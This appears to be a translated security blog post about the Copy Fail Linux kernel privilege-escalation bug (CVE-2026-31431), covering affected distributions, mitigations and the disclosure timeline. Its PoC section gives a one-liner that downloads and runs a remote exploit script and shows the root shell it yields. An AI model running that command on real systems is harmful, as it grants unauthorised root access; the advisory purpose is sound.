English

← Back to list

732 Bytes to Own Every Linux Box: A Decade-Hidden Epic Bug

itadol5j

Copy Fail vulnerability

🚨 Epic vulnerability: 732 bytes to compromise every Linux distro, hidden for nearly a decade

A "Copy Fail" Linux kernel vulnerability (CVE-2026-31431) has been publicly disclosed:

  • A 732-byte Python script
  • that is 100% reliable, needing no race window or kernel offsets
  • affecting every Linux distribution (2017 to present)
  • container escape primitive and cross-tenant attacks
  • lurking for nearly a decade, until it went public on April 29, 2026

The same script works onUbuntu, RHEL, Amazon Linux, and SUSE — no modifications required.

🎯 The Core of the Bug

A Single Logical Flaw

Copy Fail is astraight-line logic flaw:

  • No race window required: unlike most Linux LPEs, which depend on races
  • No kernel offsets required: no kernel-specific offsets needed
  • 100% reliable: succeeds every single time
  • One script: works on every distribution

The exploit chain

Copy Fail's attack chain:

  • authencesn logic bug: a logic bug
  • AF_ALG: via the kernel crypto API
  • splice(): chained calls
  • 4-byte page-cache write: the final attack primitive
  • Exploitable for nearly a decade: from 2017 until the patch

📊 Affected Scope

Officially verified distros

Distribution Kernel version Status
Ubuntu 24.04 LTS 6.17.0-1007-aws ✅ Verified
Amazon Linux 2023 6.18.8-9.213.amzn2023 ✅ Verified
RHEL 10.1 6.12.0-124.45.1.el10_1 ✅ Verified
SUSE 16 6.12.0-160000.9-default ✅ Verified

Other affected distros

The following distrosare also affected:

  • Debian
  • Arch Linux
  • Fedora
  • Rocky Linux
  • AlmaLinux
  • Oracle Linux
  • Embedded Linux

Bottom line: if your kernel was built between 2017 and the patch —you're affected.

💡 High-Risk Scenarios

Scenario Risk Impact
Multi-tenant Linux hosts High Any user becomes root
Kubernetes / container clusters High Cross-container, cross-tenant attacks
CI runners / build farms High A PR becomes root on the runner
Cloud SaaS running user code High A tenant becomes host root
Standard Linux servers Medium Local LPE, chainable with other bugs
Single-user laptops Low A post-exploitation priv-esc step

🔧 Mitigations

Option 1: Update your kernel (recommended)

Update your kernel to a version that includesmainline commit a664bf3d603d:

  • What it fixes: reverts the 2017 algif_aead in-place optimization
  • Effect: page-cache pages no longer appear in the writable destination scatterlist
  • Status: most mainstream distros have already shipped patches

Option 2: Disable the algif_aead module (temporary)

# 禁用 algif_aead 模块
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
rmmod algif_aead 2>/dev/null || true

Impact of disabling algif_aead

Component Impact
dm-crypt / LUKS Not affected
kTLS / IPsec Not affected
OpenSSL / SSH Not affected
AF_ALG userspace Possibly affected

Bottom line: for most systems, disabling algif_aead hasno noticeable impact.

Option 3: Block AF_ALG with seccomp

For untrusted workloads (containers, sandboxes, CI), block AF_ALG socket creation via seccomp:

# 检查 AF_ALG 使用
lsof | grep AF_ALG
ss -xa

🚀 PoC Demo

The PoC is public so defenders can verify their own systems:

Quick run

$ curl https://copy.fail/exp | python3 && su
# id
uid=0(root) gid=1002(user) groups=1002(user)

PoC details

  • File size: 732 bytes
  • Language: Python 3.10+ stdlib only (os, socket, zlib)
  • Default target: /usr/bin/su
  • SHA256: a567d09b15f6e4440e70c9f2aa8edec8ed59f53301952df05c719aa3911687f9

Warning: the script modifies the page cache of a setuid binary; the changes don't persist across a reboot, but the root shell is real. Do not run it in production.

📅 Disclosure Timeline

Date Event
2026-03-23 Reported to the Linux kernel security team
2026-03-24 Initial acknowledgment
2026-03-25 Patch proposed and reviewed
2026-04-01 Patch submitted to mainline
2026-04-22 CVE-2026-31431 assigned
2026-04-29 Public disclosure

🔍 Discovered by: Xint Code

The vulnerability was discovered byXint Code:

  • Scan time: about 1 hour scanning the Linux crypto/ subsystem
  • Method: AI-driven code auditing
  • Full analysis: root cause, diagrams, operator prompt
  • Other findings: additional high-severity vulnerabilities found at the same time, still in coordinated disclosure

Xint Code track record

  • 0-day RCE: ZeroDay Cloud, sweeping the database category (Redis, PostgreSQL, MariaDB)
  • DARPA AIxCC Top 3: DARPA AI Cyber Challenge finalist
  • DEF CON CTF 9×: the most-winning team in DEF CON CTF history

📝 Summary

Copy Fail (CVE-2026-31431) isan epic Linux kernel vulnerability:

  • 732 bytes to compromise every Linux distro (2017 to present)
  • 100% reliable, a single logical flaw
  • Container escape, cross-tenant attacks
  • Nearly a decade hidden, until its public disclosure on April 29, 2026
  • High-risk scenarios: multi-tenant hosts, container clusters, CI runners, SaaS
  • Mitigation: update the kernel or disable algif_aead
  • Discovered by Xint Code via AI-driven code auditing

A decade-old epic bug — and one script owns every Linux out there.

Official site:https://copy.fail

GitHub PoC:https://github.com/theori-io/copy-fail-CVE-2026-31431

Technical analysis:https://xint.io/blog/copy-fail-linux-distributions

Kernel patch:https://git.kernel.org/stable/c/a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5